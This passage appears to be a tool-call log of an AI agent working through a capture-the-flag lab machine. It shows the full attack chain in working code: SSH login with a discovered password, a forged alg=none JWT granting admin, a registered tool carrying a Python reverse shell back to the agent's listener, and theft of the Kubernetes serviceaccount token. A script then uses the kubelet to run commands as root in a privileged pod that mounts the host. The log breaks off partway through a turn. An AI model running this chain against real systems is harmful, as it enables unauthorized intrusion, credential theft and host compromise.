    Turn 55 | Tool: Bash

    Time: 21:11:42

    Desc: SSH as nightfall using discovered password, grab user flag and mcp config

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “sshpass -p ‘n1ghtm4r3_b4_n1ghtf4ll’ ssh -o StrictHostKeyChecking=no nightfall@10.129.244.214 ‘id; cat ~/user.txt; echo ---; cat ~/.mcp/config.json 2>/dev/null‘“

    OUTPUT

    Warning: Permanently added ‘10.129.244.214’ (ED25519) to the list of known hosts. uid=1000(nightfall) gid=1000(nightfall) groups=1000(nightfall)

    { “server”: “http://10.129.244.214:30080”, “status_endpoint”: “/api/v1/version”, “user”: “langflow-bot”, “password”: “Langfl0w@mcp2026!” }

    === 0028_T058_Bash_Save_user_flag_and_query_MCP_server_version_endpoint.txt ===

    Turn 58 | Tool: Bash

    Time: 21:13:47

    Desc: Save user flag and query MCP server version endpoint

    COMMAND

    echo "" > /out/solve_out_20260722_210707/user.txt ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “curl -s http://10.129.244.214:30080/api/v1/version | python3 -m json.tool”

    OUTPUT

    Command did not complete within its 120s timeout and was moved to the background (ID: b15z9u6uh). Output is being written to: You will be notified when it completes. To check interim output, use Read on that file path.

    === 0029_T060_Bash_Query_MCP_version_endpoint_from_within_target_host_via_night.txt ===

    Turn 60 | Tool: Bash

    Time: 21:13:56

    Desc: Query MCP version endpoint from within target host via nightfall SSH

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “sshpass -p ‘n1ghtm4r3_b4_n1ghtf4ll’ ssh -o StrictHostKeyChecking=no nightfall@10.129.244.214 ‘curl -s http://10.129.244.214:30080/api/v1/version‘“

    OUTPUT

    {“service”:“MCP AI Tool Registry”,“version”:“0.1.0”,“auth”:{“type”:“JWT”,“header”:“Authorization: Bearer ”,“supported_algorithms”:[“HS256”,“none”]},“docs”:“/docs”,“endpoints”:[“POST /mcp [MCP JSON-RPC 2.0]”,“POST /api/v1/auth”,“GET /api/v1/tools”,“POST /api/v1/tools [admin]”]}

    === 0030_T062_Bash_Auth_to_MCP_decode_JWT_forge_admin_alg_none_token_verify.txt ===

    Turn 62 | Tool: Bash

    Time: 21:14:03

    Desc: Auth to MCP, decode JWT, forge admin alg=none token, verify

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ bash -s <<‘REMOTE’ sshpass -p ‘n1ghtm4r3_b4_n1ghtf4ll’ ssh -o StrictHostKeyChecking=no nightfall@10.129.244.214 bash -s <<‘INNER’ USER_JWT=$(curl -s -X POST http://10.129.244.214:30080/api/v1/auth
    -H ‘Content-Type: application/json’
    -d ’{“username”:“langflow-bot”,“password”:“Langfl0w@mcp2026!”}’
    | python3 -c “import sys,json; print(json.load(sys.stdin)[‘access_token’])”) echo “USER_JWT=$USER_JWT” echo “$USER_JWT” | cut -d. -f2 | base64 -d 2>/dev/null; echo

    ADMIN_JWT=$(python3 -c ” import base64, json def b64url(data): return base64.urlsafe_b64encode(data).rstrip(b’=‘).decode() header = b64url(json.dumps({‘alg’:‘none’,‘typ’:‘JWT’}).encode()) payload = b64url(json.dumps({‘sub’:‘attacker’,‘role’:‘admin’}).encode()) print(f’{header}.{payload}.’) ”) echo “ADMIN_JWT=$ADMIN_JWT”

    echo ”--- test admin tool listing ---” curl -s http://10.129.244.214:30080/api/v1/tools -H “Authorization: Bearer $ADMIN_JWT” echo INNER REMOTE

    OUTPUT

    USER_JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps {“sub”:“langflow-bot”,“role”:“user”} ADMIN_JWT=eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9. --- test admin tool listing --- [{“name”:“ping_host”,“description”:“Ping a target host 3 times and return ICMP output.”},{“name”:“get_metrics_summary”,“description”:“Return a summary of system memory and load average from /proc.”},{“name”:“list_running_tasks”,“description”:“List the top 20 running processes sorted by CPU usage.”}]

    === 0031_T065_Bash_Set_up_FIFO_listener_for_MCP_pod_reverse_shell_on_port_9879.txt ===

    Turn 65 | Tool: Bash

    Time: 21:14:10

    Desc: Set up FIFO listener for MCP pod reverse shell on port 9879

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “rm -f /tmp/fifo_mcp; mkfifo /tmp/fifo_mcp; nohup bash -c ‘tail -f /tmp/fifo_mcp | nc -lvnp 9879 > /tmp/nc9879_out.log 2>&1’ > /tmp/nc9879_launcher.log 2>&1 & echo started; sleep 1; ss -tlnp 2>/dev/null | grep 9879”

    OUTPUT

    started LISTEN 0 1 0.0.0.0:9879 0.0.0.0:* users:((“nc”,pid=296141,fd=3))

    === 0032_T066_Bash_Register_malicious_shell_tool_and_trigger_it_via_MCP_JSON-RP.txt ===

    Turn 66 | Tool: Bash

    Time: 21:14:24

    Desc: Register malicious shell tool and trigger it via MCP JSON-RPC

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ bash -s <<‘REMOTE’ sshpass -p ‘n1ghtm4r3_b4_n1ghtf4ll’ ssh -o StrictHostKeyChecking=no nightfall@10.129.244.214 bash -s <<‘INNER’ ADMIN_JWT=$(python3 -c ” import base64, json def b64url(data): return base64.urlsafe_b64encode(data).rstrip(b’=‘).decode() header = b64url(json.dumps({‘alg’:‘none’,‘typ’:‘JWT’}).encode()) payload = b64url(json.dumps({‘sub’:‘attacker’,‘role’:‘admin’}).encode()) print(f’{header}.{payload}.’) ”)

    curl -s -X POST http://10.129.244.214:30080/api/v1/tools
    -H ‘Content-Type: application/json’
    -H “Authorization: Bearer $ADMIN_JWT”
    -d ’{ “name”: “shell2”, “description”: “debug shell”, “inputSchema”: {“type”:“object”,“properties”:{}}, “code”: “import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((“10.10.15.180”,9879))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(“/bin/sh”)” }’ echo echo ”--- triggering tool ---” curl -s -X POST http://10.129.244.214:30080/mcp
    -H ‘Content-Type: application/json’
    -H “Authorization: Bearer $ADMIN_JWT”
    -d ’{“jsonrpc”:“2.0”,“id”:4,“method”:“tools/call”,“params”:{“name”:“shell2”,“arguments”:{}}}’ echo INNER REMOTE sleep 5 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “cat /tmp/nc9879_out.log”

    OUTPUT

    {“status”:“registered”,“name”:“shell2”} --- triggering tool --- {“jsonrpc”:“2.0”,“id”:4,“result”:{“content”:[{“type”:“text”,“text”:""}],“isError”:false}} listening on [any] 9879 … connect to [10.10.15.180] from (UNKNOWN) [10.129.244.214] 64694 $

    === 0033_T068_Bash_Verify_mcp_pod_shell_and_check_k8s_serviceaccount.txt ===

    Turn 68 | Tool: Bash

    Time: 21:14:31

    Desc: Verify mcp pod shell and check k8s serviceaccount

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “echo ‘id; hostname; ls /var/run/secrets/kubernetes.io/serviceaccount/; env | grep -i kube’ > /tmp/fifo_mcp” sleep 3 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -20 /tmp/nc9879_out.log”

    OUTPUT

    listening on [any] 9879 … connect to [10.10.15.180] from (UNKNOWN) [10.129.244.214] 64694 $ id; hostname; ls /var/run/secrets/kubernetes.io/serviceaccount/; env | grep -i kube uid=1000(mcp) gid=1000(mcp) groups=1000(mcp) mcp-server-54464cb475-29ztf ca.crt namespace token KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.43.0.1:443 KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_HOST=10.43.0.1 $

    === 0034_T070_Bash_Check_serviceaccount_permissions_via_selfsubjectrulesreview.txt ===

    Turn 70 | Tool: Bash

    Time: 21:14:40

    Desc: Check serviceaccount permissions via selfsubjectrulesreview

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “cat > /tmp/fifo_mcp <<‘CMD’ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) API=https://10.43.0.1:443 curl -sk -X POST “$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews”
    -H “Authorization: Bearer $TOKEN”
    -H ‘Content-Type: application/json’
    -d ’{“apiVersion”:“authorization.k8s.io/v1”,“kind”:“SelfSubjectRulesReview”,“spec”:{“namespace”:“default”}}’
    | python3 -c ” import sys,json rules = json.load(sys.stdin)[‘status’].get(‘resourceRules’,[]) for r in rules: print(r) ” CMD” sleep 3 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -20 /tmp/nc9879_out.log”

    OUTPUT

    ca.crt namespace token KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.43.0.1:443 KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_HOST=10.43.0.1 $ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) API=https://10.43.0.1:443 curl -sk -X POST “$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews” -H “Authorization: Bearer $TOKEN” -H ‘Content-Type: application/json’ -d ’{“apiVersion”:“authorization.k8s.io/v1”,“kind”:“SelfSubjectRulesReview”,“spec”:{“namespace”:“default”}}’ | python3 -c ” import sys,json rules = json.load(sys.stdin)[‘status’].get(‘resourceRules’,[]) for r in rules: print(r) ” $ $ > > > > {‘verbs’: [‘get’], ‘apiGroups’: [”], ‘resources’: [‘nodes/proxy’]} {‘verbs’: [‘create’], ‘apiGroups’: [‘authorization.k8s.io’], ‘resources’: [‘selfsubjectaccessreviews’, ‘selfsubjectrulesreviews’]} {‘verbs’: [‘create’], ‘apiGroups’: [‘authentication.k8s.io’], ‘resources’: [‘selfsubjectreviews’]} $

    === 0035_T072_Bash_Query_kubelet_API_for_privileged_pods_with_hostPath_mounts.txt ===

    Turn 72 | Tool: Bash

    Time: 21:14:50

    Desc: Query kubelet API for privileged pods with hostPath mounts

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “cat > /tmp/fifo_mcp <<‘CMD’ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk “https://10.129.244.214:10250/pods\” -H “Authorization: Bearer $TOKEN” | python3 -c ” import sys, json data = json.load(sys.stdin) for item in data[‘items’]: ns = item[‘metadata’][‘namespace’] name = item[‘metadata’][‘name’] vols = [v for v in item[‘spec’].get(‘volumes’, []) if ‘hostPath’ in v] for c in item[‘spec’][‘containers’]: csc = c.get(‘securityContext’, {}) or {} if csc.get(‘privileged’) and vols: paths = [v[‘hostPath’][‘path’] for v in vols] print(f’[!] PRIVILEGED: {ns}/{name} - container: {c[\“name\”]} - hostPaths: {paths}’) ” CMD” sleep 4 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -10 /tmp/nc9879_out.log”

    OUTPUT

    name = item['metadata']['name']
    vols = [v for v in item['spec'].get('volumes', []) if 'hostPath' in v]
    for c in item['spec']['containers']:
    csc = c.get('securityContext', {}) or {}
    if csc.get('privileged') and vols:
    paths = [v['hostPath']['path'] for v in vols]
    print(f'[!] PRIVILEGED: {ns}/{name} - container: {c[\"name\"]} - hostPaths: {paths}')

    ” $ > > > > > > > > > > > > [!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths: [‘/proc’, ‘/sys’, ’/’] $

    === 0036_T074_Bash_Check_if_websockets_python_module_is_available_in_mcp_pod.txt ===

    Turn 74 | Tool: Bash

    Time: 21:14:58

    Desc: Check if websockets python module is available in mcp pod

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “echo ‘python3 -c “import websockets; print(websockets.version)”’ > /tmp/fifo_mcp” sleep 3 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -5 /tmp/nc9879_out.log”

    OUTPUT

    ” $ > > > > > > > > > > > > [!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths: [‘/proc’, ‘/sys’, ’/’] $ python3 -c “import websockets; print(websockets.version)” 16.0 $

    === 0037_T076_Write_kube_exec.py.txt ===

    Turn 76 | Tool: Write

    Time: 21:15:05

    INPUT

    { “file_path”: “/out/solve_out_20260722_210707/kube_exec.py”, “content”: ”#!/usr/bin/env python3\nimport asyncio, ssl, sys, websockets\n\nNODE = “10.129.244.214”\nNE_NS = “monitoring”\nNE_POD = “prometheus-prometheus-node-exporter-nmntq”\nNE_CNT = “node-exporter”\nTOKEN = open(‘/var/run/secrets/kubernetes.io/serviceaccount/token’).read().strip()\nCOMMAND = sys.argv[1] if len(sys.argv) > 1 else ‘id’\n\nasync def ws_exec(cmd_parts):\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n\n args = ”&“.join(f”command={part}” for part in cmd_parts)\n url = (f”wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}“\n f”?output=1&error=1&{args}”)\n\n async with websockets.connect(\n url, ssl=ctx,\n additional_headers={“Authorization”: f”Bearer {TOKEN}”},\n subprotocols=[“v4.channel.k8s.io”],\n open_timeout=10\n ) as ws:\n try:\n while True:\n data = await asyncio.wait_for(ws.recv(), timeout=5)\n if isinstance(data, bytes) and len(data) > 1:\n sys.stdout.write(data[1:].decode(“utf-8”, errors=“replace”))\n sys.stdout.flush()\n except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):\n pass\n\nasyncio.run(ws_exec(COMMAND.split()))\n” }

    OUTPUT

    File created successfully at: /out/solve_out_20260722_210707/kube_exec.py (file state is current in your context — no need to Read it back)

    === 0038_T078_Bash_Copy_kube_exec.py_to_jump_box_first.txt ===

    Turn 78 | Tool: Bash

    Time: 21:15:11

    Desc: Copy kube_exec.py to jump box first

    COMMAND

    B64=$(base64 -w0 /out/solve_out_20260722_210707/kube_exec.py) echo “Length: ${#B64}” scp -o ControlPath=/tmp/ctf_ssh_ctl_1 -P 22 /out/solve_out_20260722_210707/kube_exec.py d3vn0mi@:/tmp/kube_exec.py

    OUTPUT

    Length: 1692

    === 0039_T080_Bash_Write_kube_exec.py_into_mcp_pod_via_base64_through_the_fifo_.txt ===

    Turn 80 | Tool: Bash

    Time: 21:15:21

    Desc: Write kube_exec.py into mcp pod via base64 through the fifo shell

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ bash -s <<‘REMOTE’ B64=$(base64 -w0 /tmp/kube_exec.py) echo “python3 -c “import base64; open(‘/tmp/kube_exec.py’,‘wb’).write(base64.b64decode(‘$B64’))"" > /tmp/fifo_mcp REMOTE sleep 3 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -5 /tmp/nc9879_out.log”

    OUTPUT

    $ > > > > > > > > > > > > [!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths: [‘/proc’, ‘/sys’, ’/’] $ python3 -c “import websockets; print(websockets.version)” 16.0 $ python3 -c “import base64; open(‘/tmp/kube_exec.py’,‘wb’).write(base64.b64decode(‘IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgYXN5bmNpbywgc3NsLCBzeXMsIHdlYnNvY2tldHMKCk5PREUgICAgID0gIjEwLjEyOS4yNDQuMjE0IgpORV9OUyAgICA9ICJtb25pdG9yaW5nIgpORV9QT0QgICA9ICJwcm9tZXRoZXVzLXByb21ldGhldXMtbm9kZS1leHBvcnRlci1ubW50cSIKTkVfQ05UICAgPSAibm9kZS1leHBvcnRlciIKVE9LRU4gICAgPSBvcGVuKCcvdmFyL3J1bi9zZWNyZXRzL2t1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvdG9rZW4nKS5yZWFkKCkuc3RyaXAoKQpDT01NQU5EICA9IHN5cy5hcmd2WzFdIGlmIGxlbihzeXMuYXJndikgPiAxIGVsc2UgJ2lkJwoKYXN5bmMgZGVmIHdzX2V4ZWMoY21kX3BhcnRzKToKICAgIGN0eCA9IHNzbC5jcmVhdGVfZGVmYXVsdF9jb250ZXh0KCkKICAgIGN0eC5jaGVja19ob3N0bmFtZSA9IEZhbHNlCiAgICBjdHgudmVyaWZ5X21vZGUgICAgPSBzc2wuQ0VSVF9OT05FCgogICAgYXJncyA9ICImIi5qb2luKGYiY29tbWFuZD17cGFydH0iIGZvciBwYXJ0IGluIGNtZF9wYXJ0cykKICAgIHVybCAgPSAoZiJ3c3M6Ly97Tk9ERX06MTAyNTAvZXhlYy97TkVfTlN9L3tORV9QT0R9L3tORV9DTlR9IgogICAgICAgICAgICBmIj9vdXRwdXQ9MSZlcnJvcj0xJnthcmdzfSIpCgogICAgYXN5bmMgd2l0aCB3ZWJzb2NrZXRzLmNvbm5lY3QoCiAgICAgICAgdXJsLCBzc2w9Y3R4LAogICAgICAgIGFkZGl0aW9uYWxfaGVhZGVycz17IkF1dGhvcml6YXRpb24iOiBmIkJlYXJlciB7VE9LRU59In0sCiAgICAgICAgc3VicHJvdG9jb2xzPVsidjQuY2hhbm5lbC5rOHMuaW8iXSwKICAgICAgICBvcGVuX3RpbWVvdXQ9MTAKICAgICkgYXMgd3M6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgZGF0YSA9IGF3YWl0IGFzeW5jaW8ud2FpdF9mb3Iod3MucmVjdigpLCB0aW1lb3V0PTUpCiAgICAgICAgICAgICAgICBpZiBpc2luc3RhbmNlKGRhdGEsIGJ5dGVzKSBhbmQgbGVuKGRhdGEpID4gMToKICAgICAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGRhdGFbMTpdLmRlY29kZSgidXRmLTgiLCBlcnJvcnM9InJlcGxhY2UiKSkKICAgICAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LmZsdXNoKCkKICAgICAgICBleGNlcHQgKGFzeW5jaW8uVGltZW91dEVycm9yLCB3ZWJzb2NrZXRzLmV4Y2VwdGlvbnMuQ29ubmVjdGlvbkNsb3NlZCk6CiAgICAgICAgICAgIHBhc3MKCmFzeW5jaW8ucnVuKHdzX2V4ZWMoQ09NTUFORC5zcGxpdCgpKSkK’))” $

    === 0040_T082_Bash_Test_kube_exec.py_against_privileged_node-exporter_pod.txt ===

    Turn 82 | Tool: Bash

    Time: 21:15:31

    Desc: Test kube_exec.py against privileged node-exporter pod

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “echo ‘python3 /tmp/kube_exec.py id’ > /tmp/fifo_mcp” sleep 6 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -8 /tmp/nc9879_out.log”

    OUTPUT

    ” $ > > > > > > > > > > > > [!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths: [‘/proc’, ‘/sys’, ’/’] $ python3 -c “import websockets; print(websockets.version)” 16.0 $ python3 -c “import base64; open(‘/tmp/kube_exec.py’,‘wb’).write(base64.b64decode(‘IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgYXN5bmNpbywgc3NsLCBzeXMsIHdlYnNvY2tldHMKCk5PREUgICAgID0gIjEwLjEyOS4yNDQuMjE0IgpORV9OUyAgICA9ICJtb25pdG9yaW5nIgpORV9QT0QgICA9ICJwcm9tZXRoZXVzLXByb21ldGhldXMtbm9kZS1leHBvcnRlci1ubW50cSIKTkVfQ05UICAgPSAibm9kZS1leHBvcnRlciIKVE9LRU4gICAgPSBvcGVuKCcvdmFyL3J1bi9zZWNyZXRzL2t1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvdG9rZW4nKS5yZWFkKCkuc3RyaXAoKQpDT01NQU5EICA9IHN5cy5hcmd2WzFdIGlmIGxlbihzeXMuYXJndikgPiAxIGVsc2UgJ2lkJwoKYXN5bmMgZGVmIHdzX2V4ZWMoY21kX3BhcnRzKToKICAgIGN0eCA9IHNzbC5jcmVhdGVfZGVmYXVsdF9jb250ZXh0KCkKICAgIGN0eC5jaGVja19ob3N0bmFtZSA9IEZhbHNlCiAgICBjdHgudmVyaWZ5X21vZGUgICAgPSBzc2wuQ0VSVF9OT05FCgogICAgYXJncyA9ICImIi5qb2luKGYiY29tbWFuZD17cGFydH0iIGZvciBwYXJ0IGluIGNtZF9wYXJ0cykKICAgIHVybCAgPSAoZiJ3c3M6Ly97Tk9ERX06MTAyNTAvZXhlYy97TkVfTlN9L3tORV9QT0R9L3tORV9DTlR9IgogICAgICAgICAgICBmIj9vdXRwdXQ9MSZlcnJvcj0xJnthcmdzfSIpCgogICAgYXN5bmMgd2l0aCB3ZWJzb2NrZXRzLmNvbm5lY3QoCiAgICAgICAgdXJsLCBzc2w9Y3R4LAogICAgICAgIGFkZGl0aW9uYWxfaGVhZGVycz17IkF1dGhvcml6YXRpb24iOiBmIkJlYXJlciB7VE9LRU59In0sCiAgICAgICAgc3VicHJvdG9jb2xzPVsidjQuY2hhbm5lbC5rOHMuaW8iXSwKICAgICAgICBvcGVuX3RpbWVvdXQ9MTAKICAgICkgYXMgd3M6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgZGF0YSA9IGF3YWl0IGFzeW5jaW8ud2FpdF9mb3Iod3MucmVjdigpLCB0aW1lb3V0PTUpCiAgICAgICAgICAgICAgICBpZiBpc2luc3RhbmNlKGRhdGEsIGJ5dGVzKSBhbmQgbGVuKGRhdGEpID4gMToKICAgICAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGRhdGFbMTpdLmRlY29kZSgidXRmLTgiLCBlcnJvcnM9InJlcGxhY2UiKSkKICAgICAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LmZsdXNoKCkKICAgICAgICBleGNlcHQgKGFzeW5jaW8uVGltZW91dEVycm9yLCB3ZWJzb2NrZXRzLmV4Y2VwdGlvbnMuQ29ubmVjdGlvbkNsb3NlZCk6CiAgICAgICAgICAgIHBhc3MKCmFzeW5jaW8ucnVuKHdzX2V4ZWMoQ09NTUFORC5zcGxpdCgpKSkK’))” $ python3 /tmp/kube_exec.py id uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody) {“metadata”:{},“status”:“Success”}$

    === 0041_T084_Bash_Find_root.txt_on_the_mounted_host_filesystem.txt ===

    Turn 84 | Tool: Bash

    Time: 21:15:45

    Desc: Find root.txt on the mounted host filesystem

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “echo ‘python3 /tmp/kube_exec.py ls_/host’ > /tmp/fifo_mcp” sleep 1 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “echo ‘python3 /tmp/kube_exec.py find_/host_-maxdepth_3_-iname_root.txt’ > /tmp/fifo_mcp” sleep 8 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -6 /tmp/nc9879_out.log”

    OUTPUT

    $ python3 -c “import base64; open(‘/tmp/kube_exec.py’,‘wb’).write(base64.b64decode(‘IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgYXN5bmNpbywgc3NsLCBzeXMsIHdlYnNvY2tldHMKCk5PREUgICAgID0gIjEwLjEyOS4yNDQuMjE0IgpORV9OUyAgICA9ICJtb25pdG9yaW5nIgpORV9QT0QgICA9ICJwcm9tZXRoZXVzLXByb21ldGhldXMtbm9kZS1leHBvcnRlci1ubW50cSIKTkVfQ05UICAgPSAibm9kZS1leHBvcnRlciIKVE9LRU4gICAgPSBvcGVuKCcvdmFyL3J1bi9zZWNyZXRzL2t1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvdG9rZW4nKS5yZWFkKCkuc3RyaXAoKQpDT01NQU5EICA9IHN5cy5hcmd2WzFdIGlmIGxlbihzeXMuYXJndikgPiAxIGVsc2UgJ2lkJwoKYXN5bmMgZGVmIHdzX2V4ZWMoY21kX3BhcnRzKToKICAgIGN0eCA9IHNzbC5jcmVhdGVfZGVmYXVsdF9jb250ZXh0KCkKICAgIGN0eC5jaGVja19ob3N0bmFtZSA9IEZhbHNlCiAgICBjdHgudmVyaWZ5X21vZGUgICAgPSBzc2wuQ0VSVF9OT05FCgogICAgYXJncyA9ICImIi5qb2luKGYiY29tbWFuZD17cGFydH0iIGZvciBwYXJ0IGluIGNtZF9wYXJ0cykKICAgIHVybCAgPSAoZiJ3c3M6Ly97Tk9ERX06MTAyNTAvZXhlYy97TkVfTlN9L3tORV9QT0R9L3tORV9DTlR9IgogICAgICAgICAgICBmIj9vdXRwdXQ9MSZlcnJvcj0xJnthcmdzfSIpCgogICAgYXN5bmMgd2l0aCB3ZWJzb2NrZXRzLmNvbm5lY3QoCiAgICAgICAgdXJsLCBzc2w9Y3R4LAogICAgICAgIGFkZGl0aW9uYWxfaGVhZGVycz17IkF1dGhvcml6YXRpb24iOiBmIkJlYXJlciB7VE9LRU59In0sCiAgICAgICAgc3VicHJvdG9jb2xzPVsidjQuY2hhbm5lbC5rOHMuaW8iXSwKICAgICAgICBvcGVuX3RpbWVvdXQ9MTAKICAgICkgYXMgd3M6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgZGF0YSA9IGF3YWl0IGFzeW5jaW8ud2FpdF9mb3Iod3MucmVjdigpLCB0aW1lb3V0PTUpCiAgICAgICAgICAgICAgICBpZiBpc2luc3RhbmNlKGRhdGEsIGJ5dGVzKSBhbmQgbGVuKGRhdGEpID4gMToKICAgICAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGRhdGFbMTpdLmRlY29kZSgidXRmLTgiLCBlcnJvcnM9InJlcGxhY2UiKSkKICAgICAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LmZsdXNoKCkKICAgICAgICBleGNlcHQgKGFzeW5jaW8uVGltZW91dEVycm9yLCB3ZWJzb2NrZXRzLmV4Y2VwdGlvbnMuQ29ubmVjdGlvbkNsb3NlZCk6CiAgICAgICAgICAgIHBhc3MKCmFzeW5jaW8ucnVuKHdzX2V4ZWMoQ09NTUFORC5zcGxpdCgpKSkK’))” $ python3 /tmp/kube_exec.py id uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody) {“metadata”:{},“status”:“Success”}$ python3 /tmp/kube_exec.py ls_/host {“metadata”:{},“status”:“Failure”,“message”:“Internal error occurred: error executing command in container: failed to exec in container: failed to start exec “4bc6b17064536498c4c4075bb260ff83b11a58aca55d3d1f7a2771ece90d6440”: OCI runtime exec failed: exec failed: unable to start container process: exec: “ls_/host”: stat ls_/host: no such file or directory”,“reason”:“InternalError”,“details”:{“causes”:[{“message”:“error executing command in container: failed to exec in container: failed to start exec “4bc6b17064536498c4c4075bb260ff83b11a58aca55d3d1f7a2771ece90d6440”: OCI runtime exec failed: exec failed: unable to start container process: exec: “ls_/host”: stat ls_/host: no such file or directory”}]},“code”:500}$ python3 /tmp/kube_exec.py find_/host_-maxdepth_3_-iname_root.txt {“metadata”:{},“status”:“Failure”,“message”:“Internal error occurred: error executing command in container: failed to exec in container: failed to start exec “97b17fed9acf7eed8890fd66c111579be2bc9c72102106ca833d72a21e3f490c”: OCI runtime exec failed: exec failed: unable to start container process: exec: “find_/host_-maxdepth_3_-iname_root.txt”: stat find_/host_-maxdepth_3_-iname_root.txt: no such file or directory”,“reason”:“InternalError”,“details”:{“causes”:[{“message”:“error executing command in container: failed to exec in container: failed to start exec “97b17fed9acf7eed8890fd66c111579be2bc9c72102106ca833d72a21e3f490c”: OCI runtime exec failed: exec failed: unable to start container process: exec: “find_/host_-maxdepth_3_-iname_root.txt”: stat find_/host_-maxdepth_3_-iname_root.txt: no such file or directory”}]},“code”:500}$

    === 0042_T086_Bash_List_host_directory_with_properly_quoted_single_argument.txt ===

    Turn 86 | Tool: Bash

    Time: 21:15:59

    Desc: List /host directory with properly quoted single argument

    COMMAND

    ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “echo ‘python3 /tmp/kube_exec.py “ls -la /host”’ > /tmp/fifo_mcp” sleep 8 ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@ “tail -6 /tmp/nc9879_out.log”

    OUTPUT

